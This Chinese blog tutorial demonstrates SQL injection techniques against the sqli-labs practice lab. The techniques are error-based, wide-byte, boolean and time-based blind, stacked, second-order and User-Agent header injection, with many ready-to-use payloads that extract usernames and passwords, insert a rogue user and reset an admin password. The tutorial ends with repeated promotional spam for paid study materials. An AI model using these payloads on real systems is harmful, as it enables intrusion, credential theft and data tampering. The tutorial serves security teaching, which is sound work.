Web安全之SQL注入_web注入,2024年最新网络安全经典面试题详解

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

3.2、报错注入

报错注入就是指通过页面报出的错误信息,构造合适的语句来获取想要的数据;应用系统未关闭数据库报错函数,可以使用 extractvalue()、updatexml 等函数,从目标 XML 中返回包含所查询值的字符串。

在页面有报错信息的时候可以考虑使用报错注入,可用的报错函数有很多。

报错注入函数:

floor
extractvalue
updatexml
exp
join
NAME_CONST
GeometryCollection
polygon
multipoint
multlinestring
multpolygon
linestring

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-6/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

接着我们可以尝试输入单引号(')双引号(")这些之类的数据给服务器。

1"

可以看到尝试的服务器发生了报错,使用我们可以使用报错注入对服务器进行一个攻击操作,

首先获取数据库名,这里先演示获取当前数据库名,传递如下数据:

1" and updatexml(1,concat(0x7e,(substr((database()),1)),0x7e),1)-- -

接着是获取全部数据库名,传递如下数据:

1" and updatexml(1,concat(0x7e,(substr((select group_concat(schema_name) from information_schema.schemata),55)),0x7e),1)-- -

这里我们随便挑一个数据库来爆表,这里我选择 security 这个库。

传递如下数据:

1" and updatexml(1,concat(0x7e,(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),25)),0x7e),1)-- -

这里获取到了 security 库中的全部表,这里没有显示完全可以自行修改如上语句的 25 改成其他值。

获取 users 表中的全部字段名,传递如下数据:

1" and updatexml(1,concat(0x7e,(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),70)),0x7e),1)-- -

最后一步,获取 users 表下的 username、password 字段名的全部数据。

传递如下数据:

1" and updatexml(1,concat(0x7e,(substr((select group_concat(username,password) from users),10)),0x7e),1)-- -

温馨提示:不要复制粘贴代码,因为复制粘贴在注入时可能会出错,所以需要手工输入。

3.3、宽字节注入

先了解一下什么是窄、宽字节已经常见宽字节编码:

  • 当某字符的大小为一个字节时,称其字符为窄字节。
  • 当某字符的大小为两个字节时,称其字符为宽字节。
  • 所有英文默认占一个字节,汉字占两个字节。
  • 常见的宽字节编码:GB2312、GBK、GB18030、BIG5、Shift_JIS等。

为什么会产生宽字节注入,其中就涉及到编码格式的问题了,宽字节注入主要是源于程序员设置数据库编码与 PHP 编码设置为不同的两个编码格式从而导致产生宽字节注入。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-32/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

尝试利用单引号(')闭合。

1'-- -

此时可以发现在我们添加的单引号(‘)上会多了一个转义符(\),这个转义符的作用就是让后面所输入的数据变得没用,不管单引号(’)后面输入的数据是什么都会被当作垃圾处理。

所以我们这里利用宽字节注入进行一个绕过,使用最经典的 %df。

首先判断是否存在宽字节注入。

1%df' and 1=1-- -

and 1=1 返回页面返回正常,接着是 and 1=2。

1%df' and 1=2-- -

可以看到我们利用 %df 可以成功绕过转义并判断出存在宽字节注入。

解释:这里的 %df 与反斜杠(\)组合在一起就会变成一个汉字 “綅”,原理跟我们打游戏的时候会给自己弄个空白名称而这个 “綅” 就会当成空格所以导致成了一个宽字节注入。

继续下一步,由于这里是有回显位的我们可以利用联合查询进行一个注入,首先判断字段数。

1%df' order by 3-- -

页面正常,接着判断。

1%df' order by 4-- -

当字段数为 4 的时候发生报错,由此可得当前字段数为 3。

利用联合注入查看可用回显位。

-1%df' union select 1,2,3-- -

当前可以回显位有2个,分别为:2、3。所以我们需要爆语句插入到这两个回显位其中一个。

获取当前数据库名。

-1%df' union select 1,2,database()-- -

获取全部数据库名。

-1%df' union select 1,2,group_concat(schema_name) from information_schema.schemata-- -

这里我们指定获取 security 库中的全部表。

-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- -

这里发现报错了,原因是为什么呢?因为我们在指定数据库名的时候调用了两个单引号('),而我们的单引号(‘)被转义了。此时可能会有人说在这两个单引号(’)再加两个 %df 不就完事了吗?我们尝试一下。``

-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=%df'security%df'-- -

发现这个方法是行不通的,因为你在第二个单引号(')前输入 %df 数据库会误以为你查询的是 security%df 所以会发生错误。所以这里我们使用编码绕过 Hex编码。

首先将数据库名进行一个 Hex 编码。

接着再将我们的注入语句修改。

-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479-- -

这时就可以成功绕过了,下一步获取 users 表中的全部字段名,这里也是同理需要将 users 进行一个 Hex 编码,编码结果为:0x7573657273。

-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273-- -

最后一步获取 username、password 中的全部数据**。**

-1%df' union select 1,2,group_concat(username,0x3C62722F3E,password) from users-- -

3.4、布尔盲注

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且 Web 页面返 True 或者 False,构造 SQL 语句,利用 and,or 等关键字来其后的语句 True 、 False 使 Web 页面返回 True 或者 False,从而达到注入的目的来获取信息。

布尔盲注需要用到的函数:

  • ascii() 函数,返回字符ascii码值

    • 参数 : str单字符
  • length() 函数,返回字符串的长度

    • 参数 : str 字符串
  • left() 函数,返回从左至右截取固定长度的字符串

    • 参数str,length
    • str : 字符串
    • length:截取长度
  • substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串

    • 参数,strposlength
    • str: 字符串
    • pos:开始位置
    • length:截取长度

布尔注入流程:

  • 求当前数据库长度
  • 求当前数据库表的 ASCII
  • 求当前数据库中表的个数
  • 求当前数据库中其中一个表名的长度
  • 求当前数据库中其中一个表名的 ASCII
  • 求列名的数量
  • 求列名的长度
  • 求列名的 ASCII
  • 求字段的数量
  • 求字段内容的长度
  • 求字段内容对应的 ASCII

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-5/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

从语句中可以看出我们在注入时需要对单引号(')进行闭合,构造判断语句。

' and 1=1-- -

and 1=1 页面返回正常,接着继续判断。

1' and 1=2-- -

and 1=1 页面返回正常,and 1=2 页面发生变化,也就是 True 和 False,所以我们可以利用布尔盲注进行注入。

首先判断当前数据库长度。

1' and (length(database())>7)-- -

大于 7 时页面正常,继续判断。

1' and (length(database())>9)-- -

大于 9 时返回 False,那么就说明当前数据库长度为 8。

1' and (length(database())=8)-- -

上图也可以看到长度为 8 返回 True。

知道当前数据库长度后接着一个一个的对数据库的每一个字节进行判断。这里介绍给大家两种方法:Ascii判断、字母判断

为什么要分两种方法来讲呢?因为字母判断是需要单引号(')进行操作的,很多服务器都会对这些特殊字符进行一个转义。

首先讲字母判断,判断当前数据库第一个字母。

1' and (left(database(),1)='s')-- -

页面返回正常,那就说明当前数据库首字母为 s ,接着判断第二个字母。

1' and (left(database(),2)='se')-- -

这里判断出第二个字母为 e,接着继续判断。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后这里判断出当前数据库名为:security。

1' and (left(database(),8)='security')-- -

接着是 Ascii 判断,Ascii 对照表如下:

首先获取当前数据库第一个字母。

1' and ascii(substr(database(),1,1))=115-- -

当 ascii 码为 115 时页面正常,说明首字母为:s。

继续判断第二个字母。

1' and ascii(substr(database(),2,1))=101-- -

当 ascii 码为 101 时页面正常,说明第二个字母为:e。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

得到数据库名后,下一步获取表的个数后面的操作我们都使用 ascii 函数来判断)

1' and(select count(table_name) from information_schema.tables where table_schema='security') = 4-- -

页面正常,此时可知当前 security 库中有 4 个表。

接着我们利用 limit 来指定表进行表名长度猜解操作,这里我们指定第四个表 limit 3,1。

1' and (length((select table_name from information_schema.tables where table_schema = database() limit 3,1)))=5-- -

页面返回正常,得出第四个表长度为 5,继续判断第四个表的表名。

判断表名首字母。

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1))=117-- -

当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。

继续判断表名的第二个字母。

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),2,1))=115-- -

当 ascii 码为 115 时页面正常,115 对应的 ascii 码为:s(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后这里判断出表名为:users。

得到表名后判断 users 表中的字段数量。

1' and (select count(column_name) from information_schema.columns where table_name="users")=15-- -

这里得出 users 表中存在 15 个字段数,下一步获取指定字段的长度。

http://192.168.2.40/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 9,1),8,1))-- -

得出 limit 9,1 中的字段长度为 8,得知长度后获取字段名,首先判断首字母。

1' and ascii(substr((select column_name from information_schema.columns where table_name = "users" limit 9,1),1,1))=117-- -

当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。

接着判断第二个字母。

1' and ascii(substr((select column_name from information_schema.columns where table_name = "users" limit 9,1),2,1))=115-- -

当 ascii 码为 115 页面返回正常,115 对应的 ascii 码为:s。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后判断得出字段名为:username

得知 users 表中第 10 个字段名为 username 后就可以开始脱数据了,首先利用 limit 0,1 判断第一行数据的长度。

1' and (length((select username from users limit 0,1)))=4-- -

页面返回正常,最后一步获取数据。

1' and ascii(substr((select username from users limit 0,1),1,1))=68-- -

当 ascii 码为 68 时页面正常,68 对应的 ascii 码为:D。

继续判断第二个字母。

1' and ascii(substr((select username from users limit 0,1),2,1))=68-- -

当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后这里判断出数据内容为:Dumb。

注:盲注一般都不会手工去进行一个注入的,都会采用脚本、工具去跑,只有小可爱才会用手工去注入。

3.5、时间盲注

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。在 mysql 里 函数 sleep() 是延时的意思,sleep(10) 就是数据库延时 10 秒返回内容。判断注入可以使用 ’ and sleep(10),数据库延时 10 秒返回值,网页响应时间至少要 10 秒,根据这个原理来判断存在 SQL 时间注入。

访问本地漏洞环境:http://127.0.0.1/sqli-labs/Less-9/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

回显语句可以看出注入过程我们需要闭合单引号。

利用 and 判断是否存在注入。

1' and 1=1-- -

页面返回正常,接着继续判断。

此时可以发现不管我们输入什么都只会返回 “You are in…”,原因是在代码中他并没有将查询的数据进行回显,而只是利用了 echo 输入 “You are in…”。

实战中大多场景都是如此,所以我们需要利用时间盲注进行判断是否存在注入。

首先随便输入个数据给 ID 值,然后利用 Burp 进行数据抓取,因为我们要利用 Burp 查看回显时间。

将数据包发送到 Repeater 模块,快捷键(win+r)。

接着我们给 ID 传递一个 sleep 函数,让时间延迟,如果延迟就说明存在时间盲注。

1'and%09sleep(5)--%09-

可以看到页面延迟 5 秒说明存在时间盲注,由于 Burp 他不能有空格,所以这里我们利用 %09 进行绕过,当然也可以用 url 编码的 %20,和 mysql 的内联注释符 /**/。

已知测试存在时间盲注,接下来判断当前数据库的字节长度。

1'%09and%09if(length(database())=8,sleep(3),1)--%09-

可以看到当判断当前数据库长度为 8 时延迟了 3 秒。

接下来我们猜测当前数据库名的首字母。

1'%09and%09if(left(database(),1)='s',sleep(3),1)--%09-

当判断数据库的首字母为 s 时,页面延迟了 3 秒,如果不是则立即加载页面。

接着判断第二个字母。

1'%09and%09if(left(database(),2)='se',sleep(3),1)--%09-

当判断数据库的前两个字母为 se 时,页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终获得数据库名为:security。

得到当前数据库名后获取数据库表中的个数。

1'%09and%09if(((select%09count(table_name)%09from%09information_schema.tables%09where%09table_schema=database())=4),sleep(3),1)--%09-

当判断数据库 security 中的表个数为 4 时延迟了 3 秒。

下一步获取指定表的长度,这里我指定第 4 个表来判断表名的长度。

1'%09and%09if((length(substr((select%09table_name%09from%09information_schema.tables%09where%09table_schema=database()%09limit%093,1),1))=5),sleep(3),1)--%09-

当表的长度为 5 时延迟了 3 秒,说明第四个表名的长度为 5。

知道表名的长度后下一步判断表名的首字母。

1'%09and%09if((left((select%09table_name%09from%09information_schema.tables%09where%09table_schema=database()%09limit%093,1),1)='u'),sleep(3),1)--%09-

判断表的首字母为 u 时延迟了 3 秒,继续判断第二位字母。

1'%09and%09if((left((select%09table_name%09from%09information_schema.tables%09where%09table_schema=database()%09limit%093,1),2)='us'),sleep(3),1)--%09-

当判断表的前两个字母为 us 时,页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终获取到表名为:users。

得到表名后判断表中的字段数量。

1'%09and%09if(((select%09count(column_name)%09from%09information_schema.columns%09where%09table_name="users")=18),sleep(3),1)--%09-

当判断字段数量为 18 时延迟了 3 秒,说明当前表中的字段数量为:18。

接着我们利用 limit 指定字段,获取字段字段的长度。

1'%09and%09if((length(substr((select%09column_name%09from%09information_schema.columns%09where%09table_name="users"%09limit%0913,1),1))=8),sleep(3),1)--%09-

当字段长度为 8 时延迟 3秒。

得知第 14 个字段的长度为 8 后,下一步判断字段名的首字母。

1'%09and%09if((left((select%09column_name%09from%09information_schema.columns%09where%09table_name="users"%09limit%0913,1),1)='p'),sleep(3),1)--%09-

判断首字母为 p 时延迟了 3 秒,继续判断第二字母。

1'%09and%09if((left((select%09column_name%09from%09information_schema.columns%09where%09table_name="users"%09limit%0913,1),2)='pa'),sleep(3),1)--%09-

当判断字段名的前两个字母为 ps 时,页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终得到字段名为:password。

最后就是脱数据了,首先判断第一条数据的长度。

1'%09and%09if((length((select%09password%09from%09users%09limit%090,1))=4),sleep(3),1)--%09-

当判断数据长度为 4 时延迟 3秒,接着下一步判断数据的首字母。

1'%09and%09if((left((select%09password%09from%09users%09limit%090,1),1)='D'),sleep(3),1)--%09-

判断完首字母后继续判断第二个字母。

1'%09and%09if((left((select%09password%09from%09users%09limit%090,1),2)='Du'),sleep(3),1)--%09-

当判断数据内容的前两个字母为 Du 时页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终获取数据内容为:Dumb

**3.6、**堆叠注入

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询。
原理很简单,mysql_multi_query(),支持多条 sql 语句同时执行,就是个分隔(;),成堆的执行 sql 语句,例如:

 select * from users;show databases; 

就同时执行以上两条命令,所以我们可以增删改查,只要权限够。
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到 API 或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条 sql 语句时才能够使用,利用 mysqli_multi_query() 函数就支持多条 sql 语句同时执行,但实际情况中,如PHP 为了防止 sql 注入机制,往往使用调用数据库的函数是 mysqli_ query() 函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-38/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

从回显的 SQL 语句中看出需要闭合单引号('),所以注入时需要注意闭合。

判断是否存在注入。

1' and 1=1-- -

and 1=1 页面返回正常,接着判断。

1' and 1=2-- -

and 1=2 时页面返回异常,说明存在注入。

这里我们利用联合注入进行攻击,首先判断字段数。

1' order by 3-- -

字段数为 3 时返回正常,接着判断。

1' order by 4-- -

字段数为 4 时报错了,说明字段数为 3。

查看回显位。

-1'union select 1,2,3-- -

这里回显位有 2 个,我们选择第 3 个利用联合注入获取当前数据库名。

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

这里回显出 4 个表,我们选择 users 表来获取里边的字段名。

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"-- -

这里得到表和表中的字段名后,我们利用堆叠注入对 users 表进行一个插入数据操作。

-1';insert into users(id,username,password)values(15,'hack','hackpw');-- -

插入后我们登录 phpmyadmin 进行一个查看。

可以看到在最后一行数据中就是我们刚刚插入的数据。

3.7、二次注入

二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了 SQL 查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。

这里我们首先对代码进行一个分析,不然再开始前会有点懵逼。

我们这里先看 Less-21\login_create.php 的注册用户文件。

这里看我用红色框框框起来的内容。

21-23 行这里都利用了 mysql_escape_string() 函数进行一个 sql 注入的过滤,所以这个注册用户页面是不存在注入的。

接着我们查看修改密码页面的代码。

这里一样看我用红色框框框起来的内容。

首先是 25-28 行,其中 26-28 行都利用了 mysql_escape_string() 函数进行一个 sql 注入的过滤,但是 25 行他并没有使用这个函数进行过滤,而且接收到的变量会带入到 sql 执行语句去,而这个变量就是获取我们用户名的一个操作。

那么我们就可以在注册页面的时候注册一个用户名为:admin’#,这样子到了修改页面后他接收了我们的用户名并存入到 $username 中,最终执行的语句就为:

UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'

这样子我们就成功的修改了 admin 用户的密码。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-38/

由于本人英文不好翻译了一下不要介意,这里我们点击用户注册。

注册一个用户名为:admin’#666777的用户。

接着登录 admin’#666777 用户。

登录后我们进行密码修改(这里我修改了下审查元素方面那么看到密码那块)。

修改后我们退出登录,登录 admin 账号,密码为:adminpassword。

这里成功登录 admin 账号,我们成功利用了 admin’#666777 用户对 admin 账号进行一个修改。

3.8、HTTP头注入

HTTP 头原理是后台开发人员为了验证客户端 HTTP_Header(比如常用的Cookie 验证等)或者通过 HTTP_Header 头信息获取客户端的一些信息(例如:User-Agent、Accept 字段等),会对客户端HTTP_Header 进行获取并使用 SQL 语句进行处理,如果此时没有足够的安全考虑,就可能导致基于 HTTP_Header 的注入漏洞。

首先我们对 Less-18\index.php 文件进行代码分析。

这里先看绿色框框的内容,在 73 行中有一条判断判断 uname 和 passwd 的值是否为空,并且这两个函数都有过滤没办法注入,所以要进入这个判断要给这两个值进行参数的传递。

接着 98 行会执行 97 行的 SQL 语句,并且在 100 行中有这么一个判断当 $row1 为真的时候才会进入判断语句中。

知道判断流程后我们看红色框框,首先这里 66-67行接收了我们的 ua 头和 ip 信息,并且会带入 103 行中进行一个插入操作,但是这里的 ua 头我们是可以控制的,所以我们可以在 ua 头中构造 sql 注入语句。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-18/

首先我们要进入第一个 if 判断语句,必须要输入正确的账号和密码,这里输入 Dumb/Dumb 并利用 Burp 进行一个数据包的抓取。

将抓取到的数据包放入 Repeater 模块(Ctrl + r)。

从刚刚代码审计中我们知道 ua 头是可控制的,这里我们对 Ua 头进行一个注入判断。

1'

可以看到这里发生了一个报错,所以我们可以利用报错注入进行一个攻击。

获取当前数据库名,这里为不影响插入语句后面的此处在语句最后加上了一个恒等式,一方面是为了闭合后台语句的单引号,另一方面是为了保证当我们语句拼接入后台后不影响后续语句的运行。

1'and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
img

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-xiBPjfaa-1713431844783)]

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

  • 7
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值